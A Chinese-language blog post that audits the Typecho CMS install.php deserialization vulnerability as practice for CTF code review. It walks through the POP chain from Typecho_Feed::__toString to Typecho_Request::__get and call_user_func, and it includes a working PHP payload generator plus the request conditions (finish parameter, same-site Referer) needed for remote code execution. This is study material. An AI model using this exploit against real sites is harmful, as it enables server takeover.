Sky's blog

cms小白审计-typecho反序列漏洞

Word count: 1,257 / Reading time: 6 min
2017/12/29 Share

前记

通过最近的比赛,决定沉淀下来,从复现cms开始慢慢锻炼自己的审计能力,毕竟这个年头的CTF,不会审计只能活在边缘了……

typecho漏洞审计

问题存在于在根目录install.php文件的229-235行

1
2
3
4
5
6
7
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

可以看到$config变量的值是由__typecho_config解base64并反序列化得到
于是我们跟进get()函数,去看看如何获取这个变量的值

1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

可以看到,__typecho_config变量的值,从cookie中获取,如果没有,则看POST里是否存在
所以这个变量我们有2种输入方式:
1.cookie中传入
2.POST方式传入
而后思考,既然有反序列化unserialize
那么如何利用呢?
这里有3个点:

1
2
3
__destruct()
__wakeup()
__toString()

其中
__destruct()是在对象被销毁的时候自动调用
__wakeup()在反序列化的时候自动调用
__toString()是在调用对象的时候自动调用。
那么我们这里有没有对象的调用呢?
继续审计

1
$db = new Typecho_Db($config['adapter'], $config['prefix']);

我们可以看到,这里直接对$config[‘adapter’]进行了调用
而我们假设这样
$config为一个数组,classA为我们可以利用的一个类

1
2
3
4
$sky = new classA();
$config = array(
'adapter' => $sky,
);

这样显然就完成了对对象的调用
所以我们下面需要去全局搜索__toString()函数,找到可利用的类
在Feed.php中的223行,我们发现了这样的函数,进行审计
在第284-290行我们发现这样一段代码

1
2
3
4
5
6
7
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

其中调用了$item['author']->screenName

1
private $_items = array();

容易看见,$_items是类中的私有变量
这里又有一个点需要关注了:
即一个特殊的魔法函数

1
__get()

__get()会在读取不可访问的属性的值的时候调用
所以这里对$item['author']->screenName的调用显然是使用了这个魔法函数
于是我们跟进这个__get()魔法函数
进行全局搜索
在Request.php中我们发现了这样的函数

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

我们继续跟进get()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

我们注意到最后一行,返回的数据还要经过$this->_applyFilter()
我们继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

可以看到非常瞩目的函数

1
call_user_func()

举个例子

1
2
3
4
5
<?php 
$filter= 'assert';
$value = 'phpinfo()';
call_user_func($filter, $value);
?>

即可执行phpinfo()指令
而这里,如果我们能控制$filter和$value两个参数,就等同于任意命令执行

payload分析

我们根据以上分析,容易得到以下构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Typecho_Feed{
private $_type='ATOM 1.0';
private $_items;

public function __construct(){
$this->_items = array(
'0'=>array(
'author'=> new Typecho_Request())
);
}
}

class Typecho_Request{
private $_params = array('screenName'=>'phpinfo()');
private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');

echo base64_encode(serialize($poc));

我们来捋一遍:
1.在install.php的第230行,我们精心构造的poc被这里反序列化
2.在install.php的第232行,程序调用了$config['adapter'],而$config['adapter']是我们精心构造的,具有利用点__toString()函数的类Typecho_Feed()的对象
3.因为对象$config['adapter']被调用,触发了__toString()函数
4.而在__toString()函数里,程序调用了类Typecho_Feed()的私有变量$item['author']->screenName,而$item['author']->screenName是我们精心构造的,具有利用点__get()函数的类Typecho_Request的对象
5.由于私有变量被调用,触发了__get()函数
6.__get()中的get()函数调用了危险函数call_user_func(),导致任意命令执行

这一连串的pop链构造可谓非常精妙,分析完后才感觉到自己有多菜= =

一些注意点

这样构造完__typecho_config的值显然是不够的
我们注意到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

1.我们需要带上$_GET['finish']参数
2.我们需要带上$_SERVER['HTTP_REFERER']参数
3.HTTP_REFERER必须是本站

CATALOG
  1. 1. 前记
  2. 2. typecho漏洞审计
  3. 3. payload分析
  4. 4. 一些注意点